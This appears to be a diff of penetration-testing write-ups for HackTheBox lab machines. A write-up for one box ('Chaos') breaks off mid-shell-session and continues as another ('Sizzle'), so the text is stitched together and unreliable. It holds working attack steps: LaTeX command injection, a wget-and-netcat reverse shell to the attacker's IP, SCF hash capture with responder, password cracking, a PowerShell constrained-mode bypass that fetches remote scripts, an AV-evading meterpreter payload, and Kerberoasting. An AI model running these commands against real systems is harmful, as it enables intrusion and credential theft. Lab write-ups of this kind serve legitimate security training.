-|_imap-capabilities: Pre-login SASL-IR capabilities LITERAL+ AUTH=PLAINA0001 more LOGIN-REFERRALS have post-login listed ENABLE OK ID IDLE IMAP4rev1
-| ssl-cert: Subject: commonName=chaos
-| Subject Alternative Name: DNS:chaos
-| Not valid before: 2018-10-28T10:01:49
-|_Not valid after: 2028-10-25T10:01:49
-|_ssl-date: TLS randomness does not represent time
-995/tcp open ssl/pop3 Dovecot pop3d
-|_pop3-capabilities: SASL(PLAIN) AUTH-RESP-CODE USER TOP PIPELINING RESP-CODES CAPA UIDL
-| ssl-cert: Subject: commonName=chaos
-| Subject Alternative Name: DNS:chaos
-| Not valid before: 2018-10-28T10:01:49
-|_Not valid after: 2028-10-25T10:01:49
-|_ssl-date: TLS randomness does not represent time
-10000/tcp open http MiniServ 1.890 (Webmin httpd)
-|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-```
-
-### Enumeration of the different pages
-
-There's a couple of different web pages:
-
-1. If an FQDN is not used, we get a page with `Direct IP not allowed` error message:
-
-
-
-2. The main **chaos.htb** page is just a generic corporate webpage with nothing else interesting on it:
-
-
-
-3. The page on port 10000 contains a link to HTTPS for the Webmin app
-
-
-
-
-
-Observations:
-- Nothing interesting on the main page (just a static page)
-- We can't log in to the Webmin application (tried guessing credentials, checking CVEs)
-
-### Dirbusting the website
-
-Next, let's dirbust the site to find hidden files & folders:
-
-Checking **10.10.10.120**
-```
-# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -s 200,204,301,302 -u http://10.10.10.120
-/javascript (Status: 301)
-/wp (Status: 301)
-```
-
-Checking **chaos.htb**
-```
-# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -s 200,204,301,302 -u http://chaos.htb
-/css (Status: 301)
-/img (Status: 301)
-/javascript (Status: 301)
-/js (Status: 301)
-/source (Status: 301)
-```
-
-Let's check out that Wordpress site.
-
-### Wordpress
-
-The site has a single post protected by a password:
-
-
-
-Next, let's use wpscan to check for any WP vulnerabilities. There doesn't seem to be any obvious non-authenticated vulnerability based on wpscan's output, but we find a single user:
-
-```
-# wpscan -u http://10.10.10.120/wp/wordpress
-...
-[!] Detected 1 user from RSS feed:
-+-------+
-| Name |
-+-------+
-| human |
-+-------+
-```
-
-If we try `human` as the password for the protected post we get:
-
-
-
-So we got the following credentials:
-- user: `ayush`
-- pass: `jiujitsu`
-
-### Access to webmail
-
-The note we found refers to **webmail**, so if we modify our local host file and add `webmail.chaos.htb` we get to the following page:
-
-
-
-There's a message in the Drafts folder containing an encrypted message:
-
-
-
-We're provided with the source code of the encryption app, which is basically just using AES in CBC mode and using the `sahay` name as the password (as the email says). The filesize and IV are stored at the beginning of the output file. We have all the pieces to decrypt the file, we just need to write a quick script to do that.
-
-```python
-from Crypto import Random
-from Crypto.Cipher import AES
-from Crypto.Hash import SHA256
-
-def getKey(password):
- hasher = SHA256.new(password)
- return hasher.digest()
-
-with open('enim_msg.txt') as f:
- c = f.read()
-
-filesize = int(c[:16])
-print("filesize: %d" % filesize)
-iv = c[16:32]
-print("IV: %s" % iv)
-key = getKey("sahay")
-cipher = AES.new(key, AES.MODE_CBC, iv )
-print cipher.decrypt(c[32:])
-```
-
-The decrypted message is:
-
-```
-Hii Sahay
-
-Please check our new service which create pdf
-
-p.s - As you told me to encrypt important msg, i did :)
-
-http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
-
-Thanks,
-Ayush
-```
-
-### PDF maker app
-
-The hidden directory contains a web application that generates PDF files.
-
-
-
-The page uses javascript to do an Ajax call to the backend `ajax.php` file:
-
-```javascript
-function senddata() {
- var content = $("#content").val();
- var template = $("#template").val();
-
- if(content == "") {
- $("#output").text("No input given!");
- }
- $.ajax({
- url: "ajax.php",
- data: {
- 'content':content,
- 'template':template
- },
- method: 'post'
- }).success(function(data) {
- $("#output").text(data)
- }).fail(function(data) {
- $("#output").text("OOps, something went wrong...\n"+data)
- })
- return false;
-}
-```
-
-
-
-The results of the POST request looks like this:
-
-
-
-So the backend uses LaTeX to convert the data into a PDF. After doing some googling I found a [nice blog post](https://0day.work/hacking-with-latex/) about ways to execute arbitrary command using LaTeX.
-
-There's a few commands that are blacklisted, like:
- - `\input{/etc/passwd}`
- - `\include{password}`
-
- 
-
- However the `\immediate\write18{whoami}` command is allowed. The output contains extra stuff but we can see that the `whoami` command was executed:
-
- 
-
-I wrote a quick python script that sends the commands using the method above and also cleans up the output with some regex:
-
-```python
-{% raw %}
-import re
-import requests
-
-headers = {
- 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'X-Requested-With': 'XMLHttpRequest',
- 'Cookie': 'redirect=1'
-}
-
-while (True):
- cmd = raw_input('> ')
-
- data = {
- 'content': '\\immediate\\write18{%s}' % cmd,
- 'template': 'test1'
- }
-
- r = requests.post('http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php', headers=headers, data=data)
- out = r.text
- m = re.search('.*\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd\)\n\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd\)(.*)\[1', out, re.MULTILINE|re.DOTALL)
- if m:
- print m.group(1)
-{% endraw %}
-```
-
-The output of the script looks like this:
-
-```
-# python crapshell.py
-> whoami
-www-data
-
-> id
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-
-> ls -l /home
-total 8
-drwx------ 6 ayush ayush 4096 Dec 16 03:32 ayush
-drwx------ 5 sahay sahay 4096 Nov 24 23:53 sahay
-```
-
-We still want to get a proper shell so what I did was download `nc` to the box and then spawn a reverse shell:
-
-```
-> wget -O /tmp/nc 10.10.14.23/nc
-
-> chmod +x /tmp/nc
-
-> /tmp/nc -e /bin/bash 10.10.14.23 4444
-
-[...]
-
-# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.120] 52378
-id
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-python -c 'import pty;pty.spawn("/bin/bash")'
-www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$
-```
-
-There's not much we can do with `www-data` except look at the web app source code and get the MySQL password for the Wordpress and Roundcube install. But we already have the `ayush` credentials so we can `su` to this user and get the `user.txt` flag:
-
-```
-www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -l ayush
-Password: jiujitsu
-
-ayush@chaos:~$ cat user.txt
-Command 'cat' is available in '/bin/cat'
-The command could not be located because '/bin' is not included in the PATH environment variable.
-cat: command not found
-ayush@chaos:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
- ls
- . D 0 Tue Jul 3 11:22:32 2018
- .. D 0 Tue Jul 3 11:22:32 2018
- Accounting D 0 Mon Jul 2 15:21:43 2018
- Audit D 0 Mon Jul 2 15:14:28 2018
- Banking D 0 Tue Jul 3 11:22:39 2018
- CEO_protected D 0 Mon Jul 2 15:15:01 2018
- Devops D 0 Mon Jul 2 15:19:33 2018
- Finance D 0 Mon Jul 2 15:11:57 2018
- HR D 0 Mon Jul 2 15:16:11 2018
- Infosec D 0 Mon Jul 2 15:14:24 2018
- Infrastructure D 0 Mon Jul 2 15:13:59 2018
- IT D 0 Mon Jul 2 15:12:04 2018
- Legal D 0 Mon Jul 2 15:12:09 2018
- M&A D 0 Mon Jul 2 15:15:25 2018
- Marketing D 0 Mon Jul 2 15:14:43 2018
- R&D D 0 Mon Jul 2 15:11:47 2018
- Sales D 0 Mon Jul 2 15:14:37 2018
- Security D 0 Mon Jul 2 15:21:47 2018
- Tax D 0 Mon Jul 2 15:16:54 2018
- Users D 0 Tue Jul 10 17:39:32 2018
- ZZ_ARCHIVE D 0 Mon Jul 2 15:32:58 2018
-
- 7779839 blocks of size 4096. 2634403 blocks available
-```
-
-In `ZZ_ARCHIVE`, there's a bunch of files with random names:
-
-```
-smb: \ZZ_ARCHIVE\> dir
- . D 0 Mon Jul 2 15:32:58 2018
- .. D 0 Mon Jul 2 15:32:58 2018
- AddComplete.pptx A 419430 Mon Jul 2 15:32:58 2018
- AddMerge.ram A 419430 Mon Jul 2 15:32:57 2018
- ConfirmUnprotect.doc A 419430 Mon Jul 2 15:32:57 2018
- ConvertFromInvoke.mov A 419430 Mon Jul 2 15:32:57 2018
- ConvertJoin.docx A 419430 Mon Jul 2 15:32:57 2018
- CopyPublish.ogg A 419430 Mon Jul 2 15:32:57 2018
- DebugMove.mpg A 419430 Mon Jul 2 15:32:57 2018
- DebugSelect.mpg A 419430 Mon Jul 2 15:32:58 2018
- DebugUse.pptx A 419430 Mon Jul 2 15:32:57 2018
-[...]
-```
-
-However when we check, they are all identical and only contain null bytes.
-
-```
-# xxd AddComplete.pptx |more
-00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
-00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
-00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
-00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
-00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
-[...]
-```
-
-To make sure they are all identical and that none of them contain something hidden, I checked the md5sum of all the files in the directory. The `6fa74ff6dd88878b4b56092a950035f8` MD5 hash is the same for all the files. This is just a troll/diversion, we can ignore these.
-
-```
-# md5sum *
-6fa74ff6dd88878b4b56092a950035f8 AddComplete.pptx
-6fa74ff6dd88878b4b56092a950035f8 AddMerge.ram
-6fa74ff6dd88878b4b56092a950035f8 ConfirmUnprotect.doc
-6fa74ff6dd88878b4b56092a950035f8 ConvertFromInvoke.mov
-6fa74ff6dd88878b4b56092a950035f8 ConvertJoin.docx
-6fa74ff6dd88878b4b56092a950035f8 CopyPublish.ogg
-6fa74ff6dd88878b4b56092a950035f8 DebugMove.mpg
-6fa74ff6dd88878b4b56092a950035f8 DebugSelect.mpg
-[...]
-```
-
-After trying a few different things, I noticed that the guest user has write access to the `ZZ_ARCHIVE` and `users\Public` folders:
-
-`dir` output from smbclient after enabling `showacls`, notice the `WRITE_OWNER_ACCESS` and `WRITE_DAC_ACCESS` permissions:
-
-```
-type: ACCESS ALLOWED (0) flags: 0x03 SEC_ACE_FLAG_OBJECT_INHERIT SEC_ACE_FLAG_CONTAINER_INHERIT
-Specific bits: 0x1ff
-Permissions: 0x1f01ff: SYNCHRONIZE_ACCESS WRITE_OWNER_ACCESS WRITE_DAC_ACCESS READ_CONTROL_ACCESS DELETE_ACCESS
-SID: S-1-1-0
-```
-
-The `S-1-1-0` SID is for all users:
-
-> SID: S-1-1-0
-
-> Name: Everyone
-
-> Description: A group that includes all users, even anonymous users and guests. Membership is controlled by the operating system.
-
-From the `users` folder, we can get a list of potential usernames on the box. This could be useful for password spraying if we had a valid password and wanted to try it on different accounts.
-
-```
-smb: \users\> dir
- . D 0 Tue Jul 10 17:39:32 2018
- .. D 0 Tue Jul 10 17:39:32 2018
- amanda D 0 Mon Jul 2 15:18:43 2018
- amanda_adm D 0 Mon Jul 2 15:19:06 2018
- bill D 0 Mon Jul 2 15:18:28 2018
- bob D 0 Mon Jul 2 15:18:31 2018
- chris D 0 Mon Jul 2 15:19:14 2018
- henry D 0 Mon Jul 2 15:18:39 2018
- joe D 0 Mon Jul 2 15:18:34 2018
- jose D 0 Mon Jul 2 15:18:53 2018
- lkys37en D 0 Tue Jul 10 17:39:04 2018
- morgan D 0 Mon Jul 2 15:18:48 2018
- mrb3n D 0 Mon Jul 2 15:19:20 2018
- Public D 0 Wed Sep 26 01:45:32 2018
-```
-
-Because we have write access to the SMB share, we can try to use the SCF (Shell Command Files) technique to make a user connect back to us and get the NTLMv2 hash. This of course assumes that there is some automated script simulating an active user on the box. Fortunately, I did the Offshore pro labs a few days prior to starting that box so I remembered that the SCF trick was used there and because Sizzle is created by the same person I figured he probably used the same trick here.
-
-First, we need to create an .scf file that contains a link to an icon file hosted on our Kali machine. The file doesn't need to exist, we just need to point to our IP so we can get the NTLMv2 hash. Normally we would need to start the file with something like the `@` character so the file will appear at the top of the directory listing when the user browses to it but since there are no other files in that `Public` directory we could use any filename.
-
-Contents of `@pwn.scf`:
-```
-[Shell]
-Command=2
-IconFile=\\10.10.14.23\share\pwn.ico
-[Taskbar]
-Command=ToggleDesktop
-```
-
-File is uploaded to the `Public` folder.
-
-```
-# smbclient -U invaliduser //10.10.10.103/"Department Shares"
-Try "help" to get a list of possible commands.
-smb: \> cd users\public
-smb: \users\public\> put @pwn.scf
-putting file @pwn.scf as \users\public\@pwn.scf (1.0 kb/s) (average 0.9 kb/s)
-```
-
-Then `responder` is used to catch the connection from the user and get the hash. This takes a few minutes, the simulated user script is probably running in a scheduler task on the server side.
-
-```
-# responder -I tun0
- __
-[...]
-
-[+] Listening for events...
-[SMBv2] NTLMv2-SSP Client : 10.10.10.103
-[SMBv2] NTLMv2-SSP Username : HTB\amanda
-[SMBv2] NTLMv2-SSP Hash : amanda::HTB:4c8aa1ec2c7628d2:7DE63D37AD8DE986ADA1831A64714556:0101000000000000C0653150DE09D2010F30883C4603F679000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000010000000020000050A6C12D738CB3CD4BB39C28BAAB3AB2BE796E70B0A3A413F02F1F6D8E5C81690A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003300000000000000000000000000
-```
-
-So we now have an NTLMv2 hash, which we'll need to crack since we can't use that type of hash for Pass-The-Hash. With John the Ripper, we use the rockyou.txt wordlist and are able to crack the password.
-
-```
-# john -w=/usr/share/wordlists/rockyou.txt --fork=4 amanda.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
-Node numbers 1-4 of 4 (fork)
-Press 'q' or Ctrl-C to abort, almost any other key for status
-Ashare1972 (amanda)
-1 0g 0:00:00:06 DONE (2019-01-15 22:38) 0g/s 427278p/s 427278c/s 427278C/s ANYBODY
-2 1g 0:00:00:06 DONE (2019-01-15 22:38) 0.1492g/s 425960p/s 425960c/s 425960C/s Ashare1972
-4 0g 0:00:00:06 DONE (2019-01-15 22:38) 0g/s 427509p/s 427509c/s 427509C/s ANALEIGH2113
-Waiting for 3 children to terminate
-3 0g 0:00:00:06 DONE (2019-01-15 22:38) 0g/s 427576p/s 427576c/s 427576C/s AMOPMINHACASA
-Use the "--show" option to display all of the cracked passwords reliably
-Session completed
-```
-
-Password is: `Ashare1972`
-
-### Getting an initial foothold on the server
-
-The next thing I tried were psexec and wmiexec, none of them worked for this user. We also don't have any additional privileges on the SMB share, nor can we access anything else on the FTP server.
-
-Remember that web enrollment certificate page for earlier? Let's go back to it and see if we can log in with Amanda's credentials.
-
-
-
-Nice, we are now able to log in and we can request a certificate that we will use to authenticate to the server using WinRM. I switched to a Windows VM at that point because I find using WinRM from within Windows Powershell works better than Kali.
-
-A Certificate Signing Request (CSR) is created with the following commands (both CSR and private keys are generated):
-
-```
-PS C:\Users\labuser> openssl req -nodes -newkey rsa:2048 -keyout amanda.key -out amanda.csr
-Generating a RSA private key
-.......+++++
-.....................................................+++++
-writing new private key to 'amanda.key'
------
-You are about to be asked to enter information that will be incorporated
-into your certificate request.
-What you are about to enter is what is called a Distinguished Name or a DN.
-There are quite a few fields but you can leave some blank
-For some fields there will be a default value,
-If you enter '.', the field will be left blank.
------
-Country Name (2 letter code) [AU]:
-State or Province Name (full name) [Some-State]:
-Locality Name (eg, city) []:
-Organization Name (eg, company) [Internet Widgits Pty Ltd]:
-Organizational Unit Name (eg, section) []:
-Common Name (e.g. server FQDN or YOUR name) []:Amanda
-Email Address []:
-
-Please enter the following 'extra' attributes
-to be sent with your certificate request
-A challenge password []:
-An optional company name []:
-```
-
-Then on the certificate web enrollment page, we can copy/paste the content of the CSR.
-
-
-
-This generates a signed certificate that we will download.
-
-The key and signed certificate need to be combined so they can be imported in the Windows certificate store. We take the `amanda.key` that contains the private key and combine it with `certnew.cer` which is the signed certificate, and the output is saved to `certificate.pfx`:
-
-```
-PS C:\Users\labuser> openssl pkcs12 -export -out certificate.pfx -inkey amanda.key -in certnew.cer
-Enter Export Password:
-Verifying - Enter Export Password:
-```
-
-The .pfx file is then imported into the Windows cert store. Note that once the certificate is imported, we need to note the thumbprint ID since this is required to log in with WinRM.
-
-The certificate part is ready, now we'll setup the WinRM service and add all hosts to the TrustHosts (we'll disable certificate validation when we connect anyways).
-
-
-
-```
-PS C:\Windows\system32> winrm quickconfig
-WinRM is not set up to receive requests on this machine.
-The following changes must be made:
-
-Start the WinRM service.
-Set the WinRM service type to delayed auto start.
-
-Make these changes [y/n]? y
-
-WinRM has been updated to receive requests.
-
-WinRM service type changed successfully.
-WinRM service started.
-WSManFault
- Message
- ProviderFault
- WSManFault
- Message = WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and try again.
-
-Error number: -2144108183 0x80338169
-WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and try again.
-PS C:\Windows\system32> get-service winrm
-
-Status Name DisplayName
------- ---- -----------
-Running winrm Windows Remote Management (WS-Manag...
-
-PS C:\tmp> winrm set winrm/config/client '@{TrustedHosts="*"}'
-Client
- NetworkDelayms = 5000
- URLPrefix = wsman
- AllowUnencrypted = false
- Auth
- Basic = false
- Digest = false
- Kerberos = false
- Negotiate = true
- Certificate = true
- CredSSP = false
- DefaultPorts
- HTTP = 5985
- HTTPS = 5986
- TrustedHosts = *
-```
-
-We don't need to check the CRL and do certificate validation because this is an HTB box, so we can use session options to disable this.
-
-```
-PS C:\Users\labuser> $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
-PS C:\Users\labuser> enter-pssession -ComputerName 10.10.10.103 -SessionOption $sessionOption -CertificateThumbprint 7d8f7b5cbdf16a19a00f0088f1692734b0c3a850
-[10.10.10.103]: PS C:\Users\amanda\Documents> hostname
-sizzle
-[10.10.10.103]: PS C:\Users\amanda\Documents> whoami
-htb\amanda
-[10.10.10.103]: PS C:\Users\amanda\Documents>
-```
-
-Good, we now have a foothold on the server using WinRM.
-
-### Escalating to the next user
-
-Amanda doesn't have `user.txt` in her Desktop, we need to get access as another user next.
-
-Listing users on the box, we notice two additional users: `sizzler` and `mrlky`:
-```
-[10.10.10.103]: PS C:\Users\amanda> net users
-
-User accounts for \\
-
--------------------------------------------------------------------------------
-Administrator amanda DefaultAccount
-Guest krbtgt mrlky
-sizzler
-The command completed with one or more errors.
-```
-
-When we check the privileges Amanda has, we notice she can add workstations to the domain with `SeMachineAccountPrivilege`.
-```
-[10.10.10.103]: PS C:\Users\amanda\Documents> whoami /priv
-
-PRIVILEGES INFORMATION
-----------------------
-
-Privilege Name Description State
-============================= ============================== =======
-SeMachineAccountPrivilege Add workstations to domain Enabled
-SeChangeNotifyPrivilege Bypass traverse checking Enabled
-SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
-```
-
-PowerShell constrained language mode is enabled and prevents us from loading additional modules.
-```
-[10.10.10.103]: PS C:\Users\amanda\Documents> $ExecutionContext.SessionState.LanguageMode
-ConstrainedLanguage
-
-[10.10.10.103]: PS C:\Users\amanda> IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/PowerView.ps1')
-New-Object : Cannot create type. Only core types are supported in this language mode.
-At line:1 char:6
-+ IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/Pow ...
-+ ~~~~~~~~~~~~~~~~~~~~~~~~
- + CategoryInfo : PermissionDenied: (:) [New-Object], PSNotSupportedException
- + FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand
-```
-
-We can bypass this by using PowerShell version 2 and we can use PowerView to find an account with an SPN that we will use to Kerberoast:
-```
-[10.10.10.103]: PS C:\Users\amanda\Documents> powershell -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/PowerView.ps1'); get
--domainuser -spn"
-
-[...]
-
-objectsid : S-1-5-21-2379389067-1826974543-3574127760-1603
-samaccounttype : USER_OBJECT
-primarygroupid : 513
-instancetype : 4
-badpasswordtime : 7/12/2018 12:22:42 AM
-memberof : {CN=Remote Management Users,CN=Builtin,DC=HTB,DC=LOCAL, CN=Users,CN=Builti
- n,DC=HTB,DC=LOCAL}
-whenchanged : 7/12/2018 4:45:59 AM
-badpwdcount : 0
-useraccountcontrol : NORMAL_ACCOUNT
-name : mrlky
-codepage : 0
-distinguishedname : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
-logoncount : 68
-lastlogon : 7/12/2018 10:23:50 AM
-serviceprincipalname : http/sizzle
-usncreated : 13068
-dscorepropagationdata : {7/7/2018 5:28:35 PM, 1/1/1601 12:00:01 AM}
-lastlogontimestamp : 7/10/2018 2:14:51 PM
-cn : mrlky
-pwdlastset : 7/10/2018 2:08:09 PM
-objectguid : 4bd46301-3362-4eac-9374-dc5cb0b6225d
-whencreated : 7/3/2018 3:52:48 PM
-usercertificate :
-[...]
-countrycode : 0
-samaccountname : mrlky
-objectclass : {top, person, organizationalPerson, user}
-objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=HTB,DC=LOCAL
-accountexpires : 12/31/1600 7:00:00 PM
-usnchanged : 53342
-lastlogoff : 12/31/1600 7:00:00 PM
-logonhours : {255, 255, 255, 255...}
-```
-
-Kerberoasting from the WinRM session doesn't work. I think it's because our user is authenticated with WinRM instead of Kerberos. Not too sure of the specifics here but it has to do with the type of authentication used.
-```
-[10.10.10.103]: PS C:\Users\amanda\Documents> powershell -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.23/PowerView.ps1'); inv
-oke-kerberoast"
-WARNING: [Get-DomainSPNTicket] Error requesting ticket for SPN 'http/sizzle' from user
-'CN=mrlky,CN=Users,DC=HTB,DC=LOCAL' : Exception calling ".ctor" with "1" argument(s): "The
-NetworkCredentials provided were unable to create a Kerberos credential, see inner execption for
-details."
-```
-
-We also can't kerberoast directly from our Kali machine because TCP Port 88 has been intentionally blocked by the box creator.
-```
-# kerberoast spnroast htb.local/amanda:Ashare1972@10.10.10.103 -u mrlky -r htb.local
-2019-01-18 13:58:16,096 minikerberos ERROR Failed to get TGT ticket! Reason: [Errno 110] Connection timed out
-Traceback (most recent call last):
-```
-
-What we can do is get a meterpreter shell on the box and do a port forward so we can access TCP port 88 through the meterpreter tunnel. Defender is enabled and will block any attempt at uploading a straight binary to the server. I used GreatSCT for AV evasion with the msbuild option to bypass AppLocker.
-
-Generating the payload with GreatSCR:
-```
-Payload: msbuild/meterpreter/rev_tcp selected
-
-Required Options:
-
-Name Value Description
----- ----- -----------
-DOMAIN X Optional: Required internal domain
-EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
-HOSTNAME X Optional: Required system hostname
-INJECT_METHOD Virtual Virtual or Heap
-LHOST IP of the Metasploit handler
-LPORT 4444 Port of the Metasploit handler
-PROCESSORS X Optional: Minimum number of processors
-SLEEP X Optional: Sleep "Y" seconds, check if accelerated
-TIMEZONE X Optional: Check to validate not in UTC
-USERNAME X Optional: The required user account
-
- Available Commands:
-
- back Go back
- exit Completely exit GreatSCT
- generate Generate the payload
- options Show the shellcode's options
- set Set shellcode option
-
-[msbuild/meterpreter/rev_tcp>>] set LHOST 10.10.14.23
-
-[msbuild/meterpreter/rev_tcp>>] set LPORT 443
-
-[msbuild/meterpreter/rev_tcp>>] generate
-```
-
-Downloading to the server and executing with msbuild.exe (make sure to use 32 bits since payload is 32 bits):
-```
-[10.10.10.103]: PS C:\Users\amanda\Documents> Invoke-WebRequest -Uri "http://10.10.14.23/payload.xml" -OutFile payload.xml
-
-PS C:\Users\amanda\Documents> C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
-Microsoft (R) Build Engine version 4.6.1586.0
-[Microsoft .NET Framework, version 4.0.30319.42000]
-Copyright (C) Microsoft Corporation. All rights reserved.
-
-Build started 1/18/2019 9:40:14 AM.
-PS C:\Users\amanda\Documents>
-```
-
-I now have a meterpreter session.
-```
-msf5 exploit(multi/handler) >
-[*] Encoded stage with x86/shikata_ga_nai
-[*] Sending encoded stage (179808 bytes) to 10.10.10.103
-[*] Meterpreter session 4 opened (10.10.14.23:4444 -> 10.10.10.103:60672) at 2019-01-18 14:48:41 -0500
-
-```
-
-Then I added a local port forward so the connection to my Kali machine on TCP port 88 will be tunneled and connected to the remote server on the same port:
-```
-meterpreter > portfwd add -l 88 -p 88 -r 127.0.0.1
-[*] Local TCP relay created: :88 <-> 127.0.0.1:88
-meterpreter > portfwd list
-
-Active Port Forwards
-====================
-
- Index Local Remote Direction
- ----- ----- ------ ---------
- 1 0.0.0.0:88 127.0.0.1:88 Forward
-
-1 total active port forwards.
-```
-
-Now we can kerberoast through our forwarded port but it still fails because of the clock drift between our host and the server:
-```
-# kerberoast spnroast htb.local/amanda:Ashare1972@127.0.0.1 -u mrlky -r htb.local
-2019-01-18 14:53:46,934 minikerberos ERROR Failed to get TGT ticket! Reason: The clock skew is too great Error Core: 37
-Traceback (most recent call last):
-```
-
-I setup my Kali machine to sync to the target box using NTP and I got rid of the clock drift that way.
-
-
-Now we're able to kerberoast and get the hash for `mrlky`:
-```
-# kerberoast spnroast htb.local/amanda:Ashare1972@127.0.0.1 -u mrlky -r htb.local
-$krb5tgs$23$*mrlky$HTB.LOCAL$spn*$dffa2597262b36b9980bd934bb60ee00$1a0c48f2e50a8e3654f98c0231454e98b711eb8b41e19dc53595e9e71744795a26e04a6d2d320d253ac72efe7ceaebe2a7bda41664ad48a1b9834749690dc493b15033aa670542851bb9d2be388e5c90143f09f31908dd8dcd03179b2cbf35cbca5b8f4f85d7c029c6fe311694ddc6763631a54b070e5f304070397818c3221498a19e5d87168fa11ac7e8a82c715a974a89cad01e15c463ee394c1c175e7f9e8c45fb66576b5c308fd91fca893c1e969635a97bfd7775aa15f57e3c5e1d2effb0cacd9a249ae2e3d4d000ce49e079cf5e4d065f63583615ad75bb76e035d2b67ae85b096fa357e087a421eab77beae5f283034fedfa0ac7c750334bd11062eb5c4297df1a4f4a09fcbe31d64a4003f214262f309583596f2ec15bb9299f8b23c57cba2edd14a4aab2df987f4a0268b783ae40802b87ef92f8fbdb0a38af5987f0b492520c9f5636149f3fe51bc0117c34bed1549cdf09443472533102a35006c5dad7e701d7565b0a2e7bd9407fb976d47bf9d0a95ed9ef333b39e17be825e8b1e9b64f186cefe6c8a28628c8c7da481f85dea018ad3b556b88a966bb3086da54e977b82999bfe69f4580b08f10bf074231fe079ac9f3fa5db4e9c505c2f737f8da7f75bf1b6984fd6dfeb54627474ea4272709c1f8de04a8171fe10da015d2f16e22021fc50ae229838e44d927aa2b431e7faa360da09fb6ba3fcdf0b16f4536d0263f86e940e60c2f347dcc9d3a53f68968d9550d7b35de4015e493346e9943f717f177b4b613b3b34150bd4931dffc55a5d5c534ee3c1c8ff72ea9ecea2799764032907c2a72977cefe0770c4321a10a821195adb4a139127d3c109bdc97224c7e1ff87a0291904f3152d7de0ed069e43daa1e35a21ddf3746c5cb6889b6c442c9902289ae0d4b066fc40c1cc39085116f2924f4f7d023f5ffaa0517c198b413f808e2b53ec1778f8180b39fa370bc77823d316afb240e270b1286d7205d921b7570a72f0c42d789504e586e5569d7b3a9783193765364f1440f21eef0e744b401673762d1dd30289f6fef9d846022c043dedf38483b9850bcb5d8bfb767df4ab5e7e194406ef05a605b4727c4399a58d97262b9eff1dc6a7ab0645ee0cd93d2af0e402e548884d7fe07966ceb78e39ca46eb7cb11964f14b07f7922874716c1bfe12ccf185d92e3d9cea81232d684efaec22398a18c94cb7d71f69ec4ba6296c8a46db94cae2b45a3b587a054115f73ee36ced05e0f
-INFO:root:Kerberoast complete
-```
-
-Luckily for us, the password is weak and we can crack it:
-```
-# ~/JohnTheRipper/run/john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
-Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
-Node numbers 1-4 of 4 (fork)
-Press 'q' or Ctrl-C to abort, almost any other key for status
-Football#7 (?)
-2 1g 0:00:00:06 DONE (2019-01-18 10:04) 0.1543g/s 430834p/s 430834c/s 430834C/s Footie123..Foh9iyd=,r^j
-4 0g 0:00:00:08 DONE (2019-01-18 10:04) 0g/s 437842p/s 437842c/s 437842C/s cxz..*7¡Vamos!
-3 0g 0:00:00:08 DONE (2019-01-18 10:04) 0g/s 436776p/s 436776c/s 436776C/s 0125457423 .a6_123
-1 0g 0:00:00:08 DONE (2019-01-18 10:04) 0g/s 436246p/s 436246c/s 436246C/s Jakekovac3.ie168
-Waiting for 3 children to terminate
-Session completed
-```
-
-Password is: `Football#7`
-
-I went through the same process of generating a certificate for `mrkly` through the web enrollment page. I was then able to log in with WinRM as user `mrlky` and get the user flag:
-```
-PS C:\Users\labuser> $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
-PS C:\Users\labuser> enter-pssession -ComputerName 10.10.10.103 -SessionOption $sessionOption -CertificateThumbprint 4c7
-c243d0a6b2e9c9b1316fbbc8fa5663cebec1c
-[10.10.10.103]: PS C:\Users\mrlky.HTB\Documents> type c:\users\mrlky\desktop\user.txt
-a6ca1f....
-```
-
